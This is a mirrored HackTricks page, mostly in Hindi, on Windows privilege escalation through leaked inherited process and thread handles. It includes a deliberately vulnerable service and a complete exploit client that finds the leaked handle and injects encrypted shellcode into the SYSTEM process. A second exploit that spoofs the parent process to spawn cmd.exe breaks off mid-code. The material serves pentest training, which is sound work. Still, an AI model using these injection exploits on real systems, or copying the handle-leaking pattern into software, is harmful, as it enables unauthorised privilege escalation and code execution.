mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
688 lines
32 KiB
Markdown
688 lines
32 KiB
Markdown
# Leaked Handle Exploitation
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## Introduction
|
|
|
|
एक प्रक्रिया में हैंडल विभिन्न **Windows संसाधनों** तक **पहुँच** की अनुमति देते हैं:
|
|
|
|
.png>)
|
|
|
|
पहले से ही कई **privilege escalation** मामले हुए हैं जहाँ एक **privileged process** के **खुले और विरासत में लिए गए हैंडल** ने **एक unprivileged process** को **चलाया** है, जिससे उसे **उन सभी हैंडल्स तक पहुँच** मिली।
|
|
|
|
उदाहरण के लिए, कल्पना करें कि **एक प्रक्रिया जो SYSTEM के रूप में चल रही है एक नई प्रक्रिया खोलती है** (`OpenProcess()`) **पूर्ण पहुँच** के साथ। वही प्रक्रिया **एक नई प्रक्रिया भी बनाती है** (`CreateProcess()`) **कम विशेषाधिकार के साथ लेकिन मुख्य प्रक्रिया के सभी खुले हैंडल विरासत में लेते हुए**।\
|
|
फिर, यदि आपके पास **कम विशेषाधिकार वाली प्रक्रिया तक पूर्ण पहुँच है**, तो आप `OpenProcess()` के साथ बनाए गए **privileged process के खुले हैंडल को पकड़ सकते हैं** और **shellcode को इंजेक्ट कर सकते हैं**।
|
|
|
|
## **Interesting Handles**
|
|
|
|
### **Process**
|
|
|
|
जैसा कि आपने प्रारंभिक उदाहरण में पढ़ा, यदि एक **unprivileged process एक privileged process के हैंडल को विरासत में लेता है** जिसमें पर्याप्त अनुमतियाँ हैं, तो यह **इस पर मनमाना कोड निष्पादित** कर सकेगा।
|
|
|
|
[**इस उत्कृष्ट लेख**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/) में आप देख सकते हैं कि किसी भी प्रक्रिया के हैंडल का कैसे शोषण किया जाए जिसमें निम्नलिखित अनुमतियाँ हैं:
|
|
|
|
- PROCESS_ALL_ACCESS
|
|
- PROCESS_CREATE_PROCESS
|
|
- PROCESS_CREATE_THREAD
|
|
- PROCESS_DUP_HANDLE
|
|
- PROCESS_VM_WRITE
|
|
|
|
### Thread
|
|
|
|
प्रक्रिया हैंडल के समान, यदि एक **unprivileged process एक privileged process के थ्रेड हैंडल को विरासत में लेता है** जिसमें पर्याप्त अनुमतियाँ हैं, तो यह **इस पर मनमाना कोड निष्पादित** कर सकेगा।
|
|
|
|
[**इस उत्कृष्ट लेख**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/) में आप देख सकते हैं कि किसी भी प्रक्रिया के हैंडल का कैसे शोषण किया जाए जिसमें निम्नलिखित अनुमतियाँ हैं:
|
|
|
|
- THREAD_ALL_ACCESS
|
|
- THREAD_DIRECT_IMPERSONATION
|
|
- THREAD_SET_CONTEXT
|
|
|
|
### File, Key & Section Handles
|
|
|
|
यदि एक **unprivileged process एक हैंडल को विरासत में लेता है** जिसमें **लिखने** के समकक्ष **अनुमतियाँ** हैं एक **privileged file या registry** पर, तो यह फ़ाइल/रेजिस्ट्री को **ओवरराइट** कर सकेगा (और बहुत सारे **भाग्य** के साथ, **privileged को बढ़ा सकता है**)।
|
|
|
|
**Section Handles** फ़ाइल हैंडल के समान होते हैं, इस प्रकार के [objects का सामान्य नाम **"File Mapping"**](https://docs.microsoft.com/en-us/windows/win32/memory/file-mapping) है। इन्हें **बड़ी फ़ाइलों के साथ काम करने के लिए** उपयोग किया जाता है बिना पूरी फ़ाइल को मेमोरी में रखे। यह शोषण को फ़ाइल हैंडल के शोषण के "समान" बनाता है।
|
|
|
|
## How to see handles of processes
|
|
|
|
### Process Hacker
|
|
|
|
[**Process Hacker**](https://github.com/processhacker/processhacker) एक उपकरण है जिसे आप मुफ्त में डाउनलोड कर सकते हैं। इसमें प्रक्रियाओं का निरीक्षण करने के लिए कई अद्भुत विकल्प हैं और उनमें से एक है **प्रत्येक प्रक्रिया के हैंडल देखने की क्षमता**।
|
|
|
|
ध्यान दें कि **सभी प्रक्रियाओं के सभी हैंडल देखने के लिए, SeDebugPrivilege की आवश्यकता है** (इसलिए आपको Process Hacker को व्यवस्थापक के रूप में चलाना होगा)।
|
|
|
|
एक प्रक्रिया के हैंडल देखने के लिए, प्रक्रिया पर राइट-क्लिक करें और हैंडल का चयन करें:
|
|
|
|
.png>)
|
|
|
|
आप फिर हैंडल पर राइट-क्लिक कर सकते हैं और **अनुमतियाँ जांच सकते हैं**:
|
|
|
|
.png>)
|
|
|
|
### Sysinternals Handles
|
|
|
|
[**Handles** ](https://docs.microsoft.com/en-us/sysinternals/downloads/handle) बाइनरी Sysinternals से कंसोल में प्रक्रिया के अनुसार हैंडल सूचीबद्ध करेगा:
|
|
|
|
.png>)
|
|
|
|
### LeakedHandlesFinder
|
|
|
|
[**यह उपकरण**](https://github.com/lab52io/LeakedHandlesFinder) आपको **leaked handles** की **निगरानी** करने और यहां तक कि **autoexploit** करने की अनुमति देता है ताकि विशेषाधिकार बढ़ सके।
|
|
|
|
### Methodology
|
|
|
|
अब जब आप प्रक्रियाओं के हैंडल कैसे खोजें, यह जान गए हैं, तो आपको यह जांचने की आवश्यकता है कि क्या कोई **unprivileged process विशेषाधिकार प्राप्त हैंडल तक पहुँच रहा है**। इस मामले में, प्रक्रिया का उपयोगकर्ता हैंडल प्राप्त कर सकता है और इसे विशेषाधिकार बढ़ाने के लिए दुरुपयोग कर सकता है।
|
|
|
|
> [!WARNING]
|
|
> पहले उल्लेख किया गया था कि आपको सभी हैंडल्स तक पहुँचने के लिए SeDebugPrivilege की आवश्यकता है। लेकिन एक **उपयोगकर्ता अभी भी अपनी प्रक्रियाओं के हैंडल्स तक पहुँच सकता है**, इसलिए यदि आप केवल उस उपयोगकर्ता से privesc करना चाहते हैं तो **उपकरणों को उपयोगकर्ता के नियमित अनुमतियों के साथ निष्पादित करना उपयोगी हो सकता है**।
|
|
>
|
|
> ```bash
|
|
> handle64.exe /a | findstr /r /i "process thread file key pid:"
|
|
> ```
|
|
|
|
## Vulnerable Example
|
|
|
|
उदाहरण के लिए, निम्नलिखित कोड एक **Windows service** का है जो कमजोर होगा। इस सेवा बाइनरी का कमजोर कोड **`Exploit`** फ़ंक्शन के अंदर स्थित है। यह फ़ंक्शन **पूर्ण पहुँच के साथ एक नया हैंडल प्रक्रिया बनाना शुरू करता है**। फिर, यह **कम विशेषाधिकार वाली प्रक्रिया बना रहा है** ( _explorer.exe_ के कम विशेषाधिकार वाले टोकन की नकल करके) _C:\users\username\desktop\client.exe_ को निष्पादित कर रहा है। **कमजोरी इस तथ्य में निहित है कि यह `bInheritHandles` को `TRUE` के रूप में सेट करके कम विशेषाधिकार वाली प्रक्रिया बना रहा है**।
|
|
|
|
इसलिए, यह कम विशेषाधिकार वाली प्रक्रिया पहले बनाए गए उच्च विशेषाधिकार वाली प्रक्रिया के हैंडल को पकड़ने और एक shellcode को इंजेक्ट और निष्पादित करने में सक्षम है (अगले अनुभाग को देखें)।
|
|
```c
|
|
#include <windows.h>
|
|
#include <tlhelp32.h>
|
|
#include <tchar.h>
|
|
#pragma comment (lib, "advapi32")
|
|
|
|
TCHAR* serviceName = TEXT("HandleLeakSrv");
|
|
SERVICE_STATUS serviceStatus;
|
|
SERVICE_STATUS_HANDLE serviceStatusHandle = 0;
|
|
HANDLE stopServiceEvent = 0;
|
|
|
|
|
|
//Find PID of a proces from its name
|
|
int FindTarget(const char *procname) {
|
|
|
|
HANDLE hProcSnap;
|
|
PROCESSENTRY32 pe32;
|
|
int pid = 0;
|
|
|
|
hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
|
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
|
|
|
|
pe32.dwSize = sizeof(PROCESSENTRY32);
|
|
|
|
if (!Process32First(hProcSnap, &pe32)) {
|
|
CloseHandle(hProcSnap);
|
|
return 0;
|
|
}
|
|
|
|
while (Process32Next(hProcSnap, &pe32)) {
|
|
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
|
|
pid = pe32.th32ProcessID;
|
|
break;
|
|
}
|
|
}
|
|
|
|
CloseHandle(hProcSnap);
|
|
|
|
return pid;
|
|
}
|
|
|
|
|
|
int Exploit(void) {
|
|
|
|
STARTUPINFOA si;
|
|
PROCESS_INFORMATION pi;
|
|
int pid = 0;
|
|
HANDLE hUserToken;
|
|
HANDLE hUserProc;
|
|
HANDLE hProc;
|
|
|
|
// open a handle to itself (privileged process) - this gets leaked!
|
|
hProc = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId());
|
|
|
|
// get PID of user low privileged process
|
|
if ( pid = FindTarget("explorer.exe") )
|
|
hUserProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
|
|
else
|
|
return -1;
|
|
|
|
// extract low privilege token from a user's process
|
|
if (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS, &hUserToken)) {
|
|
CloseHandle(hUserProc);
|
|
return -1;
|
|
}
|
|
|
|
// spawn a child process with low privs and leaked handle
|
|
ZeroMemory(&si, sizeof(si));
|
|
si.cb = sizeof(si);
|
|
ZeroMemory(&pi, sizeof(pi));
|
|
CreateProcessAsUserA(hUserToken, "C:\\users\\username\\Desktop\\client.exe",
|
|
NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
|
|
|
|
CloseHandle(hProc);
|
|
CloseHandle(hUserProc);
|
|
return 0;
|
|
}
|
|
|
|
|
|
|
|
void WINAPI ServiceControlHandler( DWORD controlCode ) {
|
|
switch ( controlCode ) {
|
|
case SERVICE_CONTROL_SHUTDOWN:
|
|
case SERVICE_CONTROL_STOP:
|
|
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
|
|
SetServiceStatus( serviceStatusHandle, &serviceStatus );
|
|
|
|
SetEvent( stopServiceEvent );
|
|
return;
|
|
|
|
case SERVICE_CONTROL_PAUSE:
|
|
break;
|
|
|
|
case SERVICE_CONTROL_CONTINUE:
|
|
break;
|
|
|
|
case SERVICE_CONTROL_INTERROGATE:
|
|
break;
|
|
|
|
default:
|
|
break;
|
|
}
|
|
SetServiceStatus( serviceStatusHandle, &serviceStatus );
|
|
}
|
|
|
|
void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {
|
|
// initialise service status
|
|
serviceStatus.dwServiceType = SERVICE_WIN32;
|
|
serviceStatus.dwCurrentState = SERVICE_STOPPED;
|
|
serviceStatus.dwControlsAccepted = 0;
|
|
serviceStatus.dwWin32ExitCode = NO_ERROR;
|
|
serviceStatus.dwServiceSpecificExitCode = NO_ERROR;
|
|
serviceStatus.dwCheckPoint = 0;
|
|
serviceStatus.dwWaitHint = 0;
|
|
|
|
serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );
|
|
|
|
if ( serviceStatusHandle ) {
|
|
// service is starting
|
|
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
|
|
SetServiceStatus( serviceStatusHandle, &serviceStatus );
|
|
|
|
// do initialisation here
|
|
stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 );
|
|
|
|
// running
|
|
serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
|
|
serviceStatus.dwCurrentState = SERVICE_RUNNING;
|
|
SetServiceStatus( serviceStatusHandle, &serviceStatus );
|
|
|
|
Exploit();
|
|
WaitForSingleObject( stopServiceEvent, -1 );
|
|
|
|
// service was stopped
|
|
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
|
|
SetServiceStatus( serviceStatusHandle, &serviceStatus );
|
|
|
|
// do cleanup here
|
|
CloseHandle( stopServiceEvent );
|
|
stopServiceEvent = 0;
|
|
|
|
// service is now stopped
|
|
serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
|
|
serviceStatus.dwCurrentState = SERVICE_STOPPED;
|
|
SetServiceStatus( serviceStatusHandle, &serviceStatus );
|
|
}
|
|
}
|
|
|
|
|
|
void InstallService() {
|
|
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE );
|
|
|
|
if ( serviceControlManager ) {
|
|
TCHAR path[ _MAX_PATH + 1 ];
|
|
if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) {
|
|
SC_HANDLE service = CreateService( serviceControlManager,
|
|
serviceName, serviceName,
|
|
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
|
|
SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,
|
|
0, 0, 0, 0, 0 );
|
|
if ( service )
|
|
CloseServiceHandle( service );
|
|
}
|
|
CloseServiceHandle( serviceControlManager );
|
|
}
|
|
}
|
|
|
|
void UninstallService() {
|
|
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT );
|
|
|
|
if ( serviceControlManager ) {
|
|
SC_HANDLE service = OpenService( serviceControlManager,
|
|
serviceName, SERVICE_QUERY_STATUS | DELETE );
|
|
if ( service ) {
|
|
SERVICE_STATUS serviceStatus;
|
|
if ( QueryServiceStatus( service, &serviceStatus ) ) {
|
|
if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )
|
|
DeleteService( service );
|
|
}
|
|
CloseServiceHandle( service );
|
|
}
|
|
CloseServiceHandle( serviceControlManager );
|
|
}
|
|
}
|
|
|
|
int _tmain( int argc, TCHAR* argv[] )
|
|
{
|
|
if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) {
|
|
InstallService();
|
|
}
|
|
else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) {
|
|
UninstallService();
|
|
}
|
|
else {
|
|
SERVICE_TABLE_ENTRY serviceTable[] = {
|
|
{ serviceName, ServiceMain },
|
|
{ 0, 0 }
|
|
};
|
|
|
|
StartServiceCtrlDispatcher( serviceTable );
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
```
|
|
### Exploit Example 1
|
|
|
|
> [!NOTE]
|
|
> एक वास्तविक परिदृश्य में, आप शायद **उस बाइनरी को नियंत्रित नहीं कर पाएंगे** जिसे कमजोर कोड द्वारा निष्पादित किया जाएगा (_C:\users\username\desktop\client.exe_ इस मामले में)। शायद आप **एक प्रक्रिया को समझौता करेंगे और आपको देखना होगा कि क्या आप किसी विशेषाधिकार प्राप्त प्रक्रिया के किसी कमजोर हैंडल तक पहुंच सकते हैं**।
|
|
|
|
इस उदाहरण में, आप _C:\users\username\desktop\client.exe_ के लिए एक संभावित एक्सप्लॉइट का कोड पा सकते हैं।\
|
|
इस कोड का सबसे दिलचस्प भाग `GetVulnProcHandle` में स्थित है। यह फ़ंक्शन **सभी हैंडल को प्राप्त करना शुरू करेगा**, फिर यह **जांच करेगा कि क्या इनमें से कोई भी समान PID का है** और यदि हैंडल किसी **प्रक्रिया** का है। यदि ये सभी आवश्यकताएँ पूरी होती हैं (एक सुलभ खुला प्रक्रिया हैंडल पाया जाता है), तो यह **प्रक्रिया के हैंडल का दुरुपयोग करते हुए एक शेलकोड को इंजेक्ट और निष्पादित करने की कोशिश करेगा**।\
|
|
शेलकोड का इंजेक्शन **`Inject`** फ़ंक्शन के अंदर किया जाता है और यह केवल **विशेषाधिकार प्राप्त प्रक्रिया के अंदर शेलकोड लिखेगा और उसी प्रक्रिया के अंदर एक थ्रेड बनाएगा** ताकि शेलकोड को निष्पादित किया जा सके।
|
|
```c
|
|
#include <windows.h>
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <time.h>
|
|
#include <wincrypt.h>
|
|
#include <psapi.h>
|
|
#include <tchar.h>
|
|
#include <tlhelp32.h>
|
|
#include "client.h"
|
|
#pragma comment (lib, "crypt32.lib")
|
|
#pragma comment (lib, "advapi32")
|
|
#pragma comment (lib, "kernel32")
|
|
|
|
|
|
int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
|
|
HCRYPTPROV hProv;
|
|
HCRYPTHASH hHash;
|
|
HCRYPTKEY hKey;
|
|
|
|
if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
|
|
return -1;
|
|
}
|
|
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
|
|
return -1;
|
|
}
|
|
if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
|
|
return -1;
|
|
}
|
|
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
|
|
return -1;
|
|
}
|
|
|
|
if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){
|
|
return -1;
|
|
}
|
|
|
|
CryptReleaseContext(hProv, 0);
|
|
CryptDestroyHash(hHash);
|
|
CryptDestroyKey(hKey);
|
|
|
|
return 0;
|
|
}
|
|
|
|
|
|
HANDLE GetVulnProcHandle(void) {
|
|
|
|
ULONG handleInfoSize = 0x10000;
|
|
NTSTATUS status;
|
|
PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
|
|
HANDLE hProc = NULL;
|
|
POBJECT_TYPE_INFORMATION objectTypeInfo;
|
|
PVOID objectNameInfo;
|
|
UNICODE_STRING objectName;
|
|
ULONG returnLength;
|
|
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
|
|
DWORD dwOwnPID = GetCurrentProcessId();
|
|
|
|
pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
|
|
pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
|
|
pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
|
|
pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
|
|
pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");
|
|
|
|
printf("[+] Grabbing handles...");
|
|
|
|
while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
|
|
NULL )) == STATUS_INFO_LENGTH_MISMATCH)
|
|
phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);
|
|
|
|
if (status != STATUS_SUCCESS)
|
|
{
|
|
printf("[!] NtQuerySystemInformation failed!\n");
|
|
return 0;
|
|
}
|
|
|
|
printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);
|
|
|
|
// iterate handles until we find the privileged process handle
|
|
for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
|
|
{
|
|
SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];
|
|
|
|
// Check if this handle belongs to our own process
|
|
if (handle.UniqueProcessId != dwOwnPID)
|
|
continue;
|
|
|
|
objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
|
|
if (pNtQueryObject( (HANDLE) handle.HandleValue,
|
|
ObjectTypeInformation,
|
|
objectTypeInfo,
|
|
0x1000,
|
|
NULL ) != STATUS_SUCCESS)
|
|
continue;
|
|
|
|
// skip some objects to avoid getting stuck
|
|
// see: https://github.com/adamdriscoll/PoshInternals/issues/7
|
|
if (handle.GrantedAccess == 0x0012019f
|
|
&& handle.GrantedAccess != 0x00120189
|
|
&& handle.GrantedAccess != 0x120089
|
|
&& handle.GrantedAccess != 0x1A019F ) {
|
|
free(objectTypeInfo);
|
|
continue;
|
|
}
|
|
|
|
// get object name information
|
|
objectNameInfo = malloc(0x1000);
|
|
if (pNtQueryObject( (HANDLE) handle.HandleValue,
|
|
ObjectNameInformation,
|
|
objectNameInfo,
|
|
0x1000,
|
|
&returnLength ) != STATUS_SUCCESS) {
|
|
|
|
// adjust the size of a returned object and query again
|
|
objectNameInfo = realloc(objectNameInfo, returnLength);
|
|
if (pNtQueryObject( (HANDLE) handle.HandleValue,
|
|
ObjectNameInformation,
|
|
objectNameInfo,
|
|
returnLength,
|
|
NULL ) != STATUS_SUCCESS) {
|
|
free(objectTypeInfo);
|
|
free(objectNameInfo);
|
|
continue;
|
|
}
|
|
}
|
|
|
|
// check if we've got a process object
|
|
objectName = *(PUNICODE_STRING) objectNameInfo;
|
|
UNICODE_STRING pProcess;
|
|
|
|
pRtlInitUnicodeString(&pProcess, L"Process");
|
|
if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
|
|
printf("[+] Found process handle (%x)\n", handle.HandleValue);
|
|
hProc = (HANDLE) handle.HandleValue;
|
|
free(objectTypeInfo);
|
|
free(objectNameInfo);
|
|
break;
|
|
}
|
|
else
|
|
continue;
|
|
|
|
free(objectTypeInfo);
|
|
free(objectNameInfo);
|
|
}
|
|
|
|
return hProc;
|
|
}
|
|
|
|
int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {
|
|
|
|
LPVOID pRemoteCode = NULL;
|
|
HANDLE hThread = NULL;
|
|
BOOL bStatus = FALSE;
|
|
|
|
pVirtualAllocEx = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAllocEx");
|
|
pWriteProcessMemory = GetProcAddress(GetModuleHandle("kernel32.dll"), "WriteProcessMemory");
|
|
pRtlCreateUserThread = GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlCreateUserThread");
|
|
|
|
pRemoteCode = pVirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
|
|
pWriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);
|
|
|
|
bStatus = (BOOL) pRtlCreateUserThread(hProc, NULL, 0, 0, 0, 0, pRemoteCode, NULL, &hThread, NULL);
|
|
if (bStatus != FALSE) {
|
|
WaitForSingleObject(hThread, -1);
|
|
CloseHandle(hThread);
|
|
return 0;
|
|
}
|
|
else
|
|
return -1;
|
|
}
|
|
|
|
int main(int argc, char **argv) {
|
|
|
|
int pid = 0;
|
|
HANDLE hProc = NULL;
|
|
|
|
// AES encrypted shellcode spawning notepad.exe (ExitThread)
|
|
char key[] = { 0x49, 0xbc, 0xa5, 0x1d, 0xa7, 0x3d, 0xd6, 0x0, 0xee, 0x2, 0x29, 0x3e, 0x9b, 0xb2, 0x8a, 0x69 };
|
|
unsigned char payload[] = { 0x6b, 0x98, 0xe8, 0x38, 0xaf, 0x82, 0xdc, 0xd4, 0xda, 0x57, 0x15, 0x48, 0x2f, 0xf0, 0x4e, 0xd3, 0x1a, 0x70, 0x6d, 0xbf, 0x53, 0xa8, 0xcb, 0xbb, 0xbb, 0x38, 0xf6, 0x4e, 0xee, 0x84, 0x36, 0xe5, 0x25, 0x76, 0xce, 0xb0, 0xf6, 0x39, 0x22, 0x76, 0x36, 0x3c, 0xe1, 0x13, 0x18, 0x9d, 0xb1, 0x6e, 0x0, 0x55, 0x8a, 0x4f, 0xb8, 0x2d, 0xe7, 0x6f, 0x91, 0xa8, 0x79, 0x4e, 0x34, 0x88, 0x24, 0x61, 0xa4, 0xcf, 0x70, 0xdb, 0xef, 0x25, 0x96, 0x65, 0x76, 0x7, 0xe7, 0x53, 0x9, 0xbf, 0x2d, 0x92, 0x25, 0x4e, 0x30, 0xa, 0xe7, 0x69, 0xaf, 0xf7, 0x32, 0xa6, 0x98, 0xd3, 0xbe, 0x2b, 0x8, 0x90, 0x0, 0x9e, 0x3f, 0x58, 0xed, 0x21, 0x69, 0xcb, 0x38, 0x5d, 0x5e, 0x68, 0x5e, 0xb9, 0xd6, 0xc5, 0x92, 0xd1, 0xaf, 0xa2, 0x5d, 0x16, 0x23, 0x48, 0xbc, 0xdd, 0x2a, 0x9f, 0x3c, 0x22, 0xdb, 0x19, 0x24, 0xdf, 0x86, 0x4a, 0xa2, 0xa0, 0x8f, 0x1a, 0xe, 0xd6, 0xb7, 0xd2, 0x6c, 0x6d, 0x90, 0x55, 0x3e, 0x7d, 0x9b, 0x69, 0x87, 0xad, 0xd7, 0x5c, 0xf3, 0x1, 0x7c, 0x93, 0x1d, 0xaa, 0x40, 0xf, 0x15, 0x48, 0x5b, 0xad, 0x6, 0xb5, 0xe5, 0xb9, 0x92, 0xae, 0x9b, 0xdb, 0x9a, 0x9b, 0x4e, 0x44, 0x45, 0xdb, 0x9f, 0x28, 0x90, 0x9e, 0x63, 0x23, 0xf2, 0xca, 0xab, 0xa7, 0x68, 0xbc, 0x31, 0xb4, 0xf9, 0xbb, 0x73, 0xd4, 0x56, 0x94, 0x2c, 0x63, 0x47, 0x21, 0x84, 0xa2, 0xb6, 0x91, 0x23, 0x8f, 0xa0, 0x46, 0x76, 0xff, 0x3f, 0x75, 0xd, 0x51, 0xc5, 0x70, 0x26, 0x1, 0xcf, 0x23, 0xbf, 0x97, 0xb2, 0x8d, 0x66, 0x35, 0xc8, 0xe3, 0x2, 0xf6, 0xbd, 0x44, 0x83, 0xf2, 0x80, 0x4c, 0xd0, 0x7d, 0xa3, 0xbd, 0x33, 0x8e, 0xe8, 0x6, 0xbc, 0xdc, 0xff, 0xe0, 0x96, 0xd9, 0xdc, 0x87, 0x2a, 0x81, 0xf3, 0x53, 0x37, 0x16, 0x3a, 0xcc, 0x3c, 0x34, 0x4, 0x9c, 0xc6, 0xbb, 0x12, 0x72, 0xf3, 0xa3, 0x94, 0x5d, 0x19, 0x43, 0x56, 0xa8, 0xba, 0x2a, 0x1d, 0x12, 0xeb, 0xd2, 0x6e, 0x79, 0x65, 0x2a };
|
|
unsigned int payload_len = sizeof(payload);
|
|
|
|
printf("My PID: %d\n", GetCurrentProcessId());
|
|
getchar();
|
|
|
|
// find a leaked handle to a process
|
|
hProc = GetVulnProcHandle();
|
|
|
|
if ( hProc != NULL) {
|
|
|
|
// d#Decrypt payload
|
|
AESDecrypt((char *) payload, payload_len, key, sizeof(key));
|
|
printf("[+] Sending gift...");
|
|
// Inject and run the payload in the privileged context
|
|
Inject(hProc, payload, payload_len);
|
|
printf("done.\n");
|
|
}
|
|
getchar();
|
|
|
|
return 0;
|
|
}
|
|
```
|
|
### Exploit Example 2
|
|
|
|
> [!NOTE]
|
|
> एक वास्तविक परिदृश्य में, आप शायद **उस बाइनरी को नियंत्रित नहीं कर पाएंगे** जिसे कमजोर कोड द्वारा निष्पादित किया जाएगा (_C:\users\username\desktop\client.exe_ इस मामले में)। शायद आप **एक प्रक्रिया को समझौता करेंगे और आपको देखना होगा कि क्या आप किसी विशेषाधिकार प्राप्त प्रक्रिया के किसी कमजोर हैंडल तक पहुंच सकते हैं**।
|
|
|
|
इस उदाहरण में, **शेलकोड को इंजेक्ट और निष्पादित करने के लिए खुले हैंडल का दुरुपयोग करने के बजाय**, **विशेषाधिकार प्राप्त खुले हैंडल प्रक्रिया के टोकन का उपयोग करके एक नया बनाया जाएगा**। यह 138 से 148 तक की पंक्तियों में किया गया है।
|
|
|
|
ध्यान दें कि **फंक्शन `UpdateProcThreadAttribute`** का उपयोग **विशेषता `PROC_THREAD_ATTRIBUTE_PARENT_PROCESS` और खुले विशेषाधिकार प्राप्त प्रक्रिया के हैंडल** के साथ किया गया है। इसका मतलब है कि **`cmd.exe` निष्पादित करने वाला बनाया गया प्रक्रिया थ्रेड** के पास खुले हैंडल प्रक्रिया के समान टोकन विशेषाधिकार होगा**।
|
|
```c
|
|
#include <windows.h>
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <time.h>
|
|
#include <wincrypt.h>
|
|
#include <psapi.h>
|
|
#include <tchar.h>
|
|
#include <tlhelp32.h>
|
|
#include "client.h"
|
|
#pragma comment (lib, "crypt32.lib")
|
|
#pragma comment (lib, "advapi32")
|
|
#pragma comment (lib, "kernel32")
|
|
|
|
|
|
HANDLE GetVulnProcHandle(void) {
|
|
|
|
ULONG handleInfoSize = 0x10000;
|
|
NTSTATUS status;
|
|
PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
|
|
HANDLE hProc = NULL;
|
|
POBJECT_TYPE_INFORMATION objectTypeInfo;
|
|
PVOID objectNameInfo;
|
|
UNICODE_STRING objectName;
|
|
ULONG returnLength;
|
|
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
|
|
DWORD dwOwnPID = GetCurrentProcessId();
|
|
|
|
pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
|
|
pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
|
|
pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
|
|
pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
|
|
pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");
|
|
|
|
printf("[+] Grabbing handles...");
|
|
|
|
while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
|
|
NULL )) == STATUS_INFO_LENGTH_MISMATCH)
|
|
phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);
|
|
|
|
if (status != STATUS_SUCCESS)
|
|
{
|
|
printf("[!] NtQuerySystemInformation failed!\n");
|
|
return 0;
|
|
}
|
|
|
|
printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);
|
|
|
|
// iterate handles until we find the privileged process handle
|
|
for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
|
|
{
|
|
SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];
|
|
|
|
// Check if this handle belongs to our own process
|
|
if (handle.UniqueProcessId != dwOwnPID)
